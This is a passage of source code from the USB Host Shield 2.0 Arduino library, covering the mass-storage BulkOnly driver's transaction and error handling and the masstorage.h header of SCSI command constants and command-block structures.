pcbw->dCBWTag) {\n                Notify(PSTR(\"CSW:Wrong tag\\r\\n\"), 0x80);\n                return false;\n        }\n        return true;\n}\n\n/**\n * For driver use only.\n *\n * @param error\n * @param index\n * @return\n */\nuint8_t BulkOnly::HandleUsbError(uint8_t error, uint8_t index) {\n        uint8_t count = 3;\n\n        bLastUsbError = error;\n        //if (error)\n        //ClearEpHalt(index);\n        while(error && count) {\n                if(error != hrSUCCESS) {\n                        ErrorMessage<uint8_t > (PSTR(\"USB Error\"), error);\n                        ErrorMessage<uint8_t > (PSTR(\"Index\"), index);\n                }\n                switch(error) {\n                                // case hrWRONGPID:\n                        case hrSUCCESS:\n                                return MASS_ERR_SUCCESS;\n                        case hrBUSY:\n                                // SIE is busy, just hang out and try again.\n                                return MASS_ERR_UNIT_BUSY;\n                        case hrTIMEOUT:\n                        case hrJERR: return MASS_ERR_DEVICE_DISCONNECTED;\n                        case hrSTALL:\n                                if(index == 0)\n                                        return MASS_ERR_STALL;\n                                ClearEpHalt(index);\n                                if(index != epDataInIndex)\n                                        return MASS_ERR_WRITE_STALL;\n                                return MASS_ERR_STALL;\n\n                        case hrNAK:\n                                if(index == 0)\n                                        return MASS_ERR_UNIT_BUSY;\n                                return MASS_ERR_UNIT_BUSY;\n\n                        case hrTOGERR:\n                                // Handle a very super rare corner case, where toggles become de-synched.\n                                // I have only ran into one device that has this firmware bug, and this is\n                                // the only clean way to get back into sync with the buggy device firmware.\n                                //   --AJK\n                                if(bAddress && bConfNum) {\n                                        error = pUsb->setConf(bAddress, 0, bConfNum);\n\n                                        if(error)\n                                                break;\n                                }\n                                return MASS_ERR_SUCCESS;\n                        default:\n                                ErrorMessage<uint8_t > (PSTR(\"\\r\\nUSB\"), error);\n                                return MASS_ERR_GENERAL_USB_ERROR;\n                }\n                count--;\n        } // while\n\n        return ((error && !count) ? MASS_ERR_GENERAL_USB_ERROR : MASS_ERR_SUCCESS);\n}\n\n#if MS_WANT_PARSER\n\nuint8_t BulkOnly::Transaction(CommandBlockWrapper *pcbw, uint16_t buf_size, void *buf) {\n        return Transaction(CommandBlockWrapper *pcbw, uint16_t buf_size, void *buf, 0);\n}\n#endif\n\n/**\n * For driver use only.\n *\n * @param pcbw\n * @param buf_size\n * @param buf\n * @param flags\n * @return\n */\nuint8_t BulkOnly::Transaction(CommandBlockWrapper *pcbw, uint16_t buf_size, void *buf\n#if MS_WANT_PARSER\n        , uint8_t flags\n#endif\n        ) {\n\n#if MS_WANT_PARSER\n        uint16_t bytes = (pcbw->dCBWDataTransferLength > buf_size) ? buf_size : pcbw->dCBWDataTransferLength;\n        printf(\"Transfersize %i\\r\\n\", bytes);\n        delay(1000);\n\n        bool callback = (flags & MASS_TRANS_FLG_CALLBACK) == MASS_TRANS_FLG_CALLBACK;\n#else\n        uint16_t bytes = buf_size;\n#endif\n        bool write = (pcbw->bmCBWFlags & MASS_CMD_DIR_IN) != MASS_CMD_DIR_IN;\n        uint8_t ret = 0;\n        uint8_t usberr;\n        CommandStatusWrapper csw; // up here, we allocate ahead to save cpu cycles.\n        SetCurLUN(pcbw->bmCBWLUN);\n        ErrorMessage<uint32_t > (PSTR(\"CBW.dCBWTag\"), pcbw->dCBWTag);\n\n        while((usberr = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, sizeof (CommandBlockWrapper), (uint8_t*)pcbw)) == hrBUSY) delay(1);\n\n        ret = HandleUsbError(usberr, epDataOutIndex);\n        //ret = HandleUsbError(pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, sizeof (CommandBlockWrapper), (uint8_t*)pcbw), epDataOutIndex);\n        if(ret) {\n                ErrorMessage<uint8_t > (PSTR(\"============================ CBW\"), ret);\n        } else {\n                if(bytes) {\n                        if(!write) {\n#if MS_WANT_PARSER\n                                if(callback) {\n                                        uint8_t rbuf[bytes];\n                                        while((usberr = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, &bytes, rbuf)) == hrBUSY) delay(1);\n                                        if(usberr == hrSUCCESS) ((USBReadParser*)buf)->Parse(bytes, rbuf, 0);\n                                } else {\n#endif\n                                        while((usberr = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, &bytes, (uint8_t*)buf)) == hrBUSY) delay(1);\n#if MS_WANT_PARSER\n\n                                }\n#endif\n                                ret = HandleUsbError(usberr, epDataInIndex);\n                        } else {\n                                while((usberr = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, bytes, (uint8_t*)buf)) == hrBUSY) delay(1);\n                                ret = HandleUsbError(usberr, epDataOutIndex);\n                        }\n                        if(ret) {\n                                ErrorMessage<uint8_t > (PSTR(\"============================ DAT\"), ret);\n                        }\n                }\n        }\n\n        {\n                bytes = sizeof (CommandStatusWrapper);\n                int tries = 2;\n                while(tries--) {\n                        while((usberr = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, &bytes, (uint8_t*) & csw)) == hrBUSY) delay(1);\n                        if(!usberr) break;\n                        ClearEpHalt(epDataInIndex);\n                        if(tries) ResetRecovery();\n                }\n                if(!ret) {\n                        Notify(PSTR(\"CBW:\\t\\tOK\\r\\n\"), 0x80);\n                        Notify(PSTR(\"Data Stage:\\tOK\\r\\n\"), 0x80);\n                } else {\n                        // Throw away csw, IT IS NOT OF ANY USE.\n                        ResetRecovery();\n                        return ret;\n                }\n                ret = HandleUsbError(usberr, epDataInIndex);\n                if(ret) {\n                        ErrorMessage<uint8_t > (PSTR(\"============================ CSW\"), ret);\n                }\n                if(usberr == hrSUCCESS) {\n                        if(IsValidCSW(&csw, pcbw)) {\n                                //ErrorMessage<uint32_t > (PSTR(\"CSW.dCBWTag\"), csw.dCSWTag);\n                                //ErrorMessage<uint8_t > (PSTR(\"bCSWStatus\"), csw.bCSWStatus);\n                                //ErrorMessage<uint32_t > (PSTR(\"dCSWDataResidue\"), csw.dCSWDataResidue);\n                                Notify(PSTR(\"CSW:\\t\\tOK\\r\\n\\r\\n\"), 0x80);\n                                return csw.bCSWStatus;\n                        } else {\n                                // NOTE! Sometimes this is caused by the reported residue being wrong.\n                                // Get a different device. It isn't compliant, and should have never passed Q&A.\n                                // I own one... 05e3:0701 Genesys Logic, Inc. USB 2.0 IDE Adapter.\n                                // Other devices that exhibit this behavior exist in the wild too.\n                                // Be sure to check quirks in the Linux source code before reporting a bug. --xxxajk\n                                Notify(PSTR(\"Invalid CSW\\r\\n\"), 0x80);\n                                ResetRecovery();\n                                //return MASS_ERR_SUCCESS;\n                                return MASS_ERR_INVALID_CSW;\n                        }\n                }\n        }\n        return ret;\n}\n\n/**\n * For driver use only.\n *\n * @param lun Logical Unit Number\n * @return\n */\nuint8_t BulkOnly::SetCurLUN(uint8_t lun) {\n        if(lun > bMaxLUN)\n                return MASS_ERR_INVALID_LUN;\n        bTheLUN = lun;\n        return MASS_ERR_SUCCESS;\n};\n\n/**\n * For driver use only.\n *\n * @param status\n * @return\n */\nuint8_t BulkOnly::HandleSCSIError(uint8_t status) {\n        uint8_t ret = 0;\n\n        switch(status) {\n                case 0: return MASS_ERR_SUCCESS;\n\n                case 2:\n                        ErrorMessage<uint8_t > (PSTR(\"Phase Error\"), status);\n                        ErrorMessage<uint8_t > (PSTR(\"LUN\"), bTheLUN);\n                        ResetRecovery();\n                        return MASS_ERR_GENERAL_SCSI_ERROR;\n\n                case 1:\n                        ErrorMessage<uint8_t > (PSTR(\"SCSI Error\"), status);\n                        ErrorMessage<uint8_t > (PSTR(\"LUN\"), bTheLUN);\n                        RequestSenseResponce rsp;\n\n                        ret = RequestSense(bTheLUN, sizeof (RequestSenseResponce), (uint8_t*) & rsp);\n\n                        if(ret) {\n                                return MASS_ERR_GENERAL_SCSI_ERROR;\n                        }\n                        ErrorMessage<uint8_t > (PSTR(\"Response Code\"), rsp.bResponseCode);\n                        if(rsp.bResponseCode & 0x80) {\n                                Notify(PSTR(\"Information field: \"), 0x80);\n                                for(int i = 0; i < 4; i++) {\n                                        D_PrintHex<uint8_t > (rsp.CmdSpecificInformation[i], 0x80);\n                                        Notify(PSTR(\" \"), 0x80);\n                                }\n                                Notify(PSTR(\"\\r\\n\"), 0x80);\n                        }\n                        ErrorMessage<uint8_t > (PSTR(\"Sense Key\"), rsp.bmSenseKey);\n                        ErrorMessage<uint8_t > (PSTR(\"Add Sense Code\"), rsp.bAdditionalSenseCode);\n                        ErrorMessage<uint8_t > (PSTR(\"Add Sense Qual\"), rsp.bAdditionalSenseQualifier);\n                        // warning, this is not testing ASQ, only SK and ASC.\n                        switch(rsp.bmSenseKey) {\n                                case SCSI_S_UNIT_ATTENTION:\n                                        switch(rsp.bAdditionalSenseCode) {\n                                                case SCSI_ASC_MEDIA_CHANGED:\n                                                        return MASS_ERR_MEDIA_CHANGED;\n                                                default:\n                                                        return MASS_ERR_UNIT_NOT_READY;\n                                        }\n                                case SCSI_S_NOT_READY:\n                                        switch(rsp.bAdditionalSenseCode) {\n                                                case SCSI_ASC_MEDIUM_NOT_PRESENT:\n                                                        return MASS_ERR_NO_MEDIA;\n                                                default:\n                                                        return MASS_ERR_UNIT_NOT_READY;\n                                        }\n                                case SCSI_S_ILLEGAL_REQUEST:\n                                        switch(rsp.bAdditionalSenseCode) {\n                                                case SCSI_ASC_LBA_OUT_OF_RANGE:\n                                                        return MASS_ERR_BAD_LBA;\n                                                default:\n                                                        return MASS_ERR_CMD_NOT_SUPPORTED;\n                                        }\n                                default:\n                                        return MASS_ERR_GENERAL_SCSI_ERROR;\n                        }\n\n                        // case 4: return MASS_ERR_UNIT_BUSY; // Busy means retry later.\n                        //    case 0x05/0x14: we stalled out\n                        //    case 0x15/0x16: we naked out.\n                default:\n                        ErrorMessage<uint8_t > (PSTR(\"Gen SCSI Err\"), status);\n                        ErrorMessage<uint8_t > (PSTR(\"LUN\"), bTheLUN);\n                        return status;\n        } // switch\n}\n\n\n////////////////////////////////////////////////////////////////////////////////\n\n\n// Debugging code\n\n\n////////////////////////////////////////////////////////////////////////////////\n\n/**\n *\n * @param ep_ptr\n */\nvoid BulkOnly::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR * ep_ptr) {\n        Notify(PSTR(\"Endpoint descriptor:\"), 0x80);\n        Notify(PSTR(\"\\r\\nLength:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);\n        Notify(PSTR(\"\\r\\nType:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);\n        Notify(PSTR(\"\\r\\nAddress:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);\n        Notify(PSTR(\"\\r\\nAttributes:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);\n        Notify(PSTR(\"\\r\\nMaxPktSize:\\t\"), 0x80);\n        D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);\n        Notify(PSTR(\"\\r\\nPoll Intrv:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bInterval, 0x80);\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n}\n\n\n////////////////////////////////////////////////////////////////////////////////\n\n\n// misc/to kill/to-do\n\n\n////////////////////////////////////////////////////////////////////////////////\n\n/* We won't be needing this... */\nuint8_t BulkOnly::Read(uint8_t lun __attribute__((unused)), uint32_t addr __attribute__((unused)), uint16_t bsize __attribute__((unused)), uint8_t blocks __attribute__((unused)), USBReadParser * prs __attribute__((unused))) {\n#if MS_WANT_PARSER\n        if(!LUNOk[lun]) return MASS_ERR_NO_MEDIA;\n        Notify(PSTR(\"\\r\\nRead (With parser)\\r\\n\"), 0x80);\n        Notify(PSTR(\"---------\\r\\n\"), 0x80);\n\n        CommandBlockWrapper cbw = CommandBlockWrapper();\n\n        cbw.dCBWSignature = MASS_CBW_SIGNATURE;\n        cbw.dCBWTag = ++dCBWTag;\n        cbw.dCBWDataTransferLength = ((uint32_t)bsize * blocks);\n        cbw.bmCBWFlags = MASS_CMD_DIR_IN,\n                cbw.bmCBWLUN = lun;\n        cbw.bmCBWCBLength = 10;\n\n        cbw.CBWCB[0] = SCSI_CMD_READ_10;\n        cbw.CBWCB[8] = blocks;\n        cbw.CBWCB[2] = ((addr >> 24) & 0xff);\n        cbw.CBWCB[3] = ((addr >> 16) & 0xff);\n        cbw.CBWCB[4] = ((addr >> 8) & 0xff);\n        cbw.CBWCB[5] = (addr & 0xff);\n\n        return HandleSCSIError(Transaction(&cbw, bsize, prs, 1));\n#else\n        return MASS_ERR_NOT_IMPLEMENTED;\n#endif\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/masstorage.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(__MASSTORAGE_H__)\n#define __MASSTORAGE_H__\n\n// Cruft removal, makes driver smaller, faster.\n#ifndef MS_WANT_PARSER\n#define MS_WANT_PARSER 0\n#endif\n\n#include \"Usb.h\"\n\n#define bmREQ_MASSOUT       USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE\n#define bmREQ_MASSIN        USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE\n\n// Mass Storage Subclass Constants\n#define MASS_SUBCLASS_SCSI_NOT_REPORTED 0x00    // De facto use\n#define MASS_SUBCLASS_RBC               0x01\n#define MASS_SUBCLASS_ATAPI             0x02    // MMC-5 (ATAPI)\n#define MASS_SUBCLASS_OBSOLETE1         0x03    // Was QIC-157\n#define MASS_SUBCLASS_UFI               0x04    // Specifies how to interface Floppy Disk Drives to USB\n#define MASS_SUBCLASS_OBSOLETE2         0x05    // Was SFF-8070i\n#define MASS_SUBCLASS_SCSI              0x06    // SCSI Transparent Command Set\n#define MASS_SUBCLASS_LSDFS             0x07    // Specifies how host has to negotiate access before trying SCSI\n#define MASS_SUBCLASS_IEEE1667          0x08\n\n// Mass Storage Class Protocols\n#define MASS_PROTO_CBI                  0x00    // CBI (with command completion interrupt)\n#define MASS_PROTO_CBI_NO_INT           0x01    // CBI (without command completion interrupt)\n#define MASS_PROTO_OBSOLETE             0x02\n#define MASS_PROTO_BBB                  0x50    // Bulk Only Transport\n#define MASS_PROTO_UAS                  0x62\n\n// Request Codes\n#define MASS_REQ_ADSC                   0x00\n#define MASS_REQ_GET                    0xFC\n#define MASS_REQ_PUT                    0xFD\n#define MASS_REQ_GET_MAX_LUN            0xFE\n#define MASS_REQ_BOMSR                  0xFF    // Bulk-Only Mass Storage Reset\n\n#define MASS_CBW_SIGNATURE              0x43425355\n#define MASS_CSW_SIGNATURE              0x53425355\n\n#define MASS_CMD_DIR_OUT                0 // (0 << 7)\n#define MASS_CMD_DIR_IN                 0x80 //(1 << 7)\n\n/*\n * Reference documents from T10 (http://www.t10.org)\n * SCSI Primary Commands - 3 (SPC-3)\n * SCSI Block Commands - 2 (SBC-2)\n * Multi-Media Commands - 5 (MMC-5)\n */\n\n/* Group 1 commands (CDB's here are should all be 6-bytes) */\n#define SCSI_CMD_TEST_UNIT_READY        0x00\n#define SCSI_CMD_REQUEST_SENSE          0x03\n#define SCSI_CMD_FORMAT_UNIT            0x04\n#define SCSI_CMD_READ_6                 0x08\n#define SCSI_CMD_WRITE_6                0x0A\n#define SCSI_CMD_INQUIRY                0x12\n#define SCSI_CMD_MODE_SELECT_6          0x15\n#define SCSI_CMD_MODE_SENSE_6           0x1A\n#define SCSI_CMD_START_STOP_UNIT        0x1B\n#define SCSI_CMD_PREVENT_REMOVAL        0x1E\n/* Group 2 Commands (CDB's here are 10-bytes) */\n#define SCSI_CMD_READ_FORMAT_CAPACITIES 0x23\n#define SCSI_CMD_READ_CAPACITY_10       0x25\n#define SCSI_CMD_READ_10                0x28\n#define SCSI_CMD_WRITE_10               0x2A\n#define SCSI_CMD_SEEK_10                0x2B\n#define SCSI_CMD_ERASE_10               0x2C\n#define SCSI_CMD_WRITE_AND_VERIFY_10    0x2E\n#define SCSI_CMD_VERIFY_10              0x2F\n#define SCSI_CMD_SYNCHRONIZE_CACHE      0x35\n#define SCSI_CMD_WRITE_BUFFER           0x3B\n#define SCSI_CMD_READ_BUFFER            0x3C\n#define SCSI_CMD_READ_SUBCHANNEL        0x42\n#define SCSI_CMD_READ_TOC               0x43\n#define SCSI_CMD_READ_HEADER            0x44\n#define SCSI_CMD_PLAY_AUDIO_10          0x45\n#define SCSI_CMD_GET_CONFIGURATION      0x46\n#define SCSI_CMD_PLAY_AUDIO_MSF         0x47\n#define SCSI_CMD_PLAY_AUDIO_TI          0x48\n#define SCSI_CMD_PLAY_TRACK_REL_10      0x49\n#define SCSI_CMD_GET_EVENT_STATUS       0x4A\n#define SCSI_CMD_PAUSE_RESUME           0x4B\n#define SCSI_CMD_READ_DISC_INFORMATION  0x51\n#define SCSI_CMD_READ_TRACK_INFORMATION 0x52\n#define SCSI_CMD_RESERVE_TRACK          0x53\n#define SCSI_CMD_SEND_OPC_INFORMATION   0x54\n#define SCSI_CMD_MODE_SELECT_10         0x55\n#define SCSI_CMD_REPAIR_TRACK           0x58\n#define SCSI_CMD_MODE_SENSE_10          0x5A\n#define SCSI_CMD_CLOSE_TRACK_SESSION    0x5B\n#define SCSI_CMD_READ_BUFFER_CAPACITY   0x5C\n#define SCSI_CMD_SEND_CUE_SHEET         0x5D\n/* Group 5 Commands (CDB's here are 12-bytes) */\n#define SCSI_CMD_REPORT_LUNS            0xA0\n#define SCSI_CMD_BLANK                  0xA1\n#define SCSI_CMD_SECURITY_PROTOCOL_IN   0xA2\n#define SCSI_CMD_SEND_KEY               0xA3\n#define SCSI_CMD_REPORT_KEY             0xA4\n#define SCSI_CMD_PLAY_AUDIO_12          0xA5\n#define SCSI_CMD_LOAD_UNLOAD            0xA6\n#define SCSI_CMD_SET_READ_AHEAD         0xA7\n#define SCSI_CMD_READ_12                0xA8\n#define SCSI_CMD_PLAY_TRACK_REL_12      0xA9\n#define SCSI_CMD_WRITE_12               0xAA\n#define SCSI_CMD_READ_MEDIA_SERIAL_12   0xAB\n#define SCSI_CMD_GET_PERFORMANCE        0xAC\n#define SCSI_CMD_READ_DVD_STRUCTURE     0xAD\n#define SCSI_CMD_SECURITY_PROTOCOL_OUT  0xB5\n#define SCSI_CMD_SET_STREAMING          0xB6\n#define SCSI_CMD_READ_MSF               0xB9\n#define SCSI_CMD_SET_SPEED              0xBB\n#define SCSI_CMD_MECHANISM_STATUS       0xBD\n#define SCSI_CMD_READ_CD                0xBE\n#define SCSI_CMD_SEND_DISC_STRUCTURE    0xBF\n/* Vendor-unique Commands, included for completeness */\n#define SCSI_CMD_CD_PLAYBACK_STATUS     0xC4 /* SONY unique */\n#define SCSI_CMD_PLAYBACK_CONTROL       0xC9 /* SONY unique */\n#define SCSI_CMD_READ_CDDA              0xD8 /* Vendor unique */\n#define SCSI_CMD_READ_CDXA              0xDB /* Vendor unique */\n#define SCSI_CMD_READ_ALL_SUBCODES      0xDF /* Vendor unique */\n\n/* SCSI error codes */\n#define SCSI_S_NOT_READY                0x02\n#define SCSI_S_MEDIUM_ERROR             0x03\n#define SCSI_S_ILLEGAL_REQUEST          0x05\n#define SCSI_S_UNIT_ATTENTION           0x06\n#define SCSI_ASC_LBA_OUT_OF_RANGE       0x21\n#define SCSI_ASC_MEDIA_CHANGED          0x28\n#define SCSI_ASC_MEDIUM_NOT_PRESENT     0x3A\n\n/* USB error codes */\n#define MASS_ERR_SUCCESS                0x00\n#define MASS_ERR_PHASE_ERROR            0x02\n#define MASS_ERR_UNIT_NOT_READY         0x03\n#define MASS_ERR_UNIT_BUSY              0x04\n#define MASS_ERR_STALL                  0x05\n#define MASS_ERR_CMD_NOT_SUPPORTED      0x06\n#define MASS_ERR_INVALID_CSW            0x07\n#define MASS_ERR_NO_MEDIA               0x08\n#define MASS_ERR_BAD_LBA                0x09\n#define MASS_ERR_MEDIA_CHANGED          0x0A\n#define MASS_ERR_DEVICE_DISCONNECTED    0x11\n#define MASS_ERR_UNABLE_TO_RECOVER      0x12    // Reset recovery error\n#define MASS_ERR_INVALID_LUN            0x13\n#define MASS_ERR_WRITE_STALL            0x14\n#define MASS_ERR_READ_NAKS              0x15\n#define MASS_ERR_WRITE_NAKS             0x16\n#define MASS_ERR_WRITE_PROTECTED        0x17\n#define MASS_ERR_NOT_IMPLEMENTED        0xFD\n#define MASS_ERR_GENERAL_SCSI_ERROR     0xFE\n#define MASS_ERR_GENERAL_USB_ERROR      0xFF\n#define MASS_ERR_USER                   0xA0    // For subclasses to define their own error codes\n\n#define MASS_TRANS_FLG_CALLBACK         0x01    // Callback is involved\n#define MASS_TRANS_FLG_NO_STALL_CHECK   0x02    // STALL condition is not checked\n#define MASS_TRANS_FLG_NO_PHASE_CHECK   0x04    // PHASE_ERROR is not checked\n\n#define MASS_MAX_ENDPOINTS              3\n\nstruct Capacity {\n        uint8_t data[8];\n        //uint32_t dwBlockAddress;\n        //uint32_t dwBlockLength;\n} __attribute__((packed));\n\nstruct BASICCDB {\n        uint8_t Opcode;\n\n        unsigned unused : 5;\n        unsigned LUN : 3;\n\n        uint8_t info[12];\n} __attribute__((packed));\n\ntypedef BASICCDB BASICCDB_t;\n\nstruct CDB6 {\n        uint8_t Opcode;\n\n        unsigned LBAMSB : 5;\n        unsigned LUN : 3;\n\n        uint8_t LBAHB;\n        uint8_t LBALB;\n        uint8_t AllocationLength;\n        uint8_t Control;\n\npublic:\n\n        CDB6(uint8_t _Opcode, uint8_t _LUN, uint32_t LBA, uint8_t _AllocationLength, uint8_t _Control) :\n        Opcode(_Opcode), LBAMSB(BGRAB2(LBA) & 0x1f), LUN(_LUN), LBAHB(BGRAB1(LBA)), LBALB(BGRAB0(LBA)),\n        AllocationLength(_AllocationLength), Control(_Control) {\n        }\n\n        CDB6(uint8_t _Opcode, uint8_t _LUN, uint8_t _AllocationLength, uint8_t _Control) :\n        Opcode(_Opcode), LBAMSB(0), LUN(_LUN), LBAHB(0), LBALB(0),\n        AllocationLength(_AllocationLength), Control(_Control) {\n        }\n} __attribute__((packed));\n\ntypedef CDB6 CDB6_t;\n\nstruct CDB10 {\n        uint8_t Opcode;\n\n        unsigned Service_Action : 5;\n        unsigned LUN : 3;\n\n        uint8_t LBA_L_M_MB;\n        uint8_t LBA_L_M_LB;\n        uint8_t LBA_L_L_MB;\n        uint8_t LBA_L_L_LB;\n\n        uint8_t Misc2;\n\n        uint8_t ALC_MB;\n        uint8_t ALC_LB;\n\n        uint8_t Control;\npublic:\n\n        CDB10(uint8_t _Opcode, uint8_t _LUN) :\n        Opcode(_Opcode), Service_Action(0), LUN(_LUN),\n        LBA_L_M_MB(0), LBA_L_M_LB(0), LBA_L_L_MB(0), LBA_L_L_LB(0),\n        Misc2(0), ALC_MB(0), ALC_LB(0), Control(0) {\n        }\n\n        CDB10(uint8_t _Opcode, uint8_t _LUN, uint16_t xflen, uint32_t _LBA) :\n        Opcode(_Opcode), Service_Action(0), LUN(_LUN),\n        LBA_L_M_MB(BGRAB3(_LBA)), LBA_L_M_LB(BGRAB2(_LBA)), LBA_L_L_MB(BGRAB1(_LBA)), LBA_L_L_LB(BGRAB0(_LBA)),\n        Misc2(0), ALC_MB(BGRAB1(xflen)), ALC_LB(BGRAB0(xflen)), Control(0) {\n        }\n} __attribute__((packed));\n\ntypedef CDB10 CDB10_t;\n\nstruct CDB12 {\n        uint8_t Opcode;\n\n        unsigned Service_Action : 5;\n        unsigned Misc : 3;\n\n        uint8_t LBA_L_M_LB;\n        uint8_t LBA_L_L_MB;\n        uint8_t LBA_L_L_LB;\n\n        uint8_t ALC_M_LB;\n        uint8_t ALC_L_MB;\n        uint8_t ALC_L_LB;\n        uint8_t Control;\n} __attribute__((packed));\n\ntypedef CDB12 CDB12_t;\n\nstruct CDB_LBA32_16 {\n        uint8_t Opcode;\n\n        unsigned Service_Action : 5;\n        unsigned Misc : 3;\n\n        uint8_t LBA_L_M_MB;\n        uint8_t LBA_L_M_LB;\n        uint8_t LBA_L_L_MB;\n        uint8_t LBA_L_L_LB;\n\n        uint8_t A_M_M_MB;\n        uint8_t A_M_M_LB;\n        uint8_t A_M_L_MB;\n        uint8_t A_M_L_LB;\n\n        uint8_t ALC_M_MB;\n        uint8_t ALC_M_LB;\n        uint8_t ALC_L_MB;\n        uint8_t ALC_L_LB;\n\n        uint8_t Misc2;\n        uint8_t Control;\n} __attribute__((packed));\n\nstruct CDB_LBA64_16 {\n        uint8_t Opcode;\n        uint8_t Misc;\n\n        uint8_t LBA_M_M_MB;\n        uint8_t LBA_M_M_LB;\n        uint8_t LBA_M_L_MB;\n        uint8_t LBA_M_L_LB;\n\n        uint8_t LBA_L_M_MB;\n        uint8_t LBA_L_M_LB;\n        uint8_t LBA_L_L_MB;\n        uint8_t LBA_L_L_LB;\n\n        uint8_t ALC_M_MB;\n        uint8_t ALC_M_LB;\n        uint8_t ALC_L_MB;\n        uint8_t ALC_L_LB;\n\n        uint8_t Misc2;\n        uint8_t Control;\n} __attribute__((packed));\n\nstruct InquiryResponse {\n        uint8_t DeviceType : 5;\n        uint8_t PeripheralQualifier : 3;\n\n        unsigned Reserved : 7;\n        unsigned Removable : 1;\n\n        uint8_t Version;\n\n        unsigned ResponseDataFormat : 4;\n        unsigned HISUP : 1;\n        unsigned NormACA : 1;\n        unsigned TrmTsk : 1;\n        unsigned AERC : 1;\n\n        uint8_t AdditionalLength;\n        //uint8_t Reserved3[2];\n\n        unsigned PROTECT : 1;\n        unsigned Res : 2;\n        unsigned ThreePC : 1;\n        unsigned TPGS : 2;\n        unsigned ACC : 1;\n        unsigned SCCS : 1;\n\n        unsigned ADDR16 : 1;\n        unsigned R1 : 1;\n        unsigned R2 : 1;\n        unsigned MCHNGR : 1;\n        unsigned MULTIP : 1;\n        unsigned VS : 1;\n        unsigned ENCSERV : 1;\n        unsigned BQUE : 1;\n\n        unsigned SoftReset : 1;\n        unsigned CmdQue : 1;\n        unsigned Reserved4 : 1;\n        unsigned Linked : 1;\n        unsigned Sync : 1;\n        unsigned WideBus16Bit : 1;\n        unsigned WideBus32Bit : 1;\n        unsigned RelAddr : 1;\n\n        uint8_t VendorID[8];\n        uint8_t ProductID[16];\n        uint8_t RevisionID[4];\n} __attribute__((packed));\n\nstruct CommandBlockWrapperBase {\n        uint32_t dCBWSignature;\n        uint32_t dCBWTag;\n        uint32_t dCBWDataTransferLength;\n        uint8_t bmCBWFlags;\npublic:\n\n        CommandBlockWrapperBase() {\n        }\n\n        CommandBlockWrapperBase(uint32_t tag, uint32_t xflen, uint8_t flgs) :\n        dCBWSignature(MASS_CBW_SIGNATURE), dCBWTag(tag), dCBWDataTransferLength(xflen), bmCBWFlags(flgs) {\n        }\n} __attribute__((packed));\n\nstruct CommandBlockWrapper : public CommandBlockWrapperBase {\n\n        struct {\n                uint8_t bmCBWLUN : 4;\n                uint8_t bmReserved1 : 4;\n        };\n\n        struct {\n                uint8_t bmCBWCBLength : 4;\n                uint8_t bmReserved2 : 4;\n        };\n\n        uint8_t CBWCB[16];\n\npublic:\n        // All zeroed.\n\n        CommandBlockWrapper() :\n        CommandBlockWrapperBase(0, 0, 0), bmReserved1(0), bmReserved2(0) {\n                for(int i = 0; i < 16; i++) CBWCB[i] = 0;\n        }\n\n        // Generic Wrap, CDB zeroed.\n\n        CommandBlockWrapper(uint32_t tag, uint32_t xflen, uint8_t flgs, uint8_t lu, uint8_t cmdlen, uint8_t cmd) :\n        CommandBlockWrapperBase(tag, xflen, flgs),\n        bmCBWLUN(lu), bmReserved1(0), bmCBWCBLength(cmdlen), bmReserved2(0) {\n                for(int i = 0; i < 16; i++) CBWCB[i] = 0;\n                // Type punning can cause optimization problems and bugs.\n                // Using reinterpret_cast to a dreinterpretifferent object is the proper way to do this.\n                //(((BASICCDB_t *) CBWCB)->LUN) = cmd;\n                BASICCDB_t *x = reinterpret_cast<BASICCDB_t *>(CBWCB);\n                x->LUN = cmd;\n        }\n\n        // Wrap for CDB of 6\n\n        CommandBlockWrapper(uint32_t tag, uint32_t xflen, CDB6_t *cdb, uint8_t dir) :\n        CommandBlockWrapperBase(tag, xflen, dir),\n        bmCBWLUN(cdb->LUN), bmReserved1(0), bmCBWCBLength(6), bmReserved2(0) {\n                memcpy(&CBWCB, cdb, 6);\n        }\n        // Wrap for CDB of 10\n\n        CommandBlockWrapper(uint32_t tag, uint32_t xflen, CDB10_t *cdb, uint8_t dir) :\n        CommandBlockWrapperBase(tag, xflen, dir),\n        bmCBWLUN(cdb->LUN), bmReserved1(0), bmCBWCBLength(10), bmReserved2(0) {\n                memcpy(&CBWCB, cdb, 10);\n        }\n} __attribute__((packed));\n\nstruct CommandStatusWrapper {\n        uint32_t dCSWSignature;\n        uint32_t dCSWTag;\n        uint32_t dCSWDataResidue;\n        uint8_t bCSWStatus;\n} __attribute__((packed));\n\nstruct RequestSenseResponce {\n        uint8_t bResponseCode;\n        uint8_t bSegmentNumber;\n\n     